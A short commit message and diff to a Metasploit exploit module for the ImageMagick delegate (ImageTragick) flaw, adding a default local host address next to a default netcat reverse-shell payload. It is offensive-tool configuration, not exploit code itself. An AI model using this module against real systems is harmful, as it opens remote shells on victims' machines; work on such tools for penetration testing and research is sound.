Add default LHOST

This is a massive workaround and probably shouldn't be done. :-)

modules/exploits/unix/fileformat/imagemagick_delegate.rb

@@ -56,6 +56,7 @@ class MetasploitModule < Msf::Exploit
       'DefaultTarget'   => 0,
       'DefaultOptions'  => {
         'PAYLOAD'               => 'cmd/unix/reverse_netcat',
+        'LHOST'                 => Rex::Socket.source_address,
         'DisablePayloadHandler' => false,
         'WfsDelay'              => 9001
       }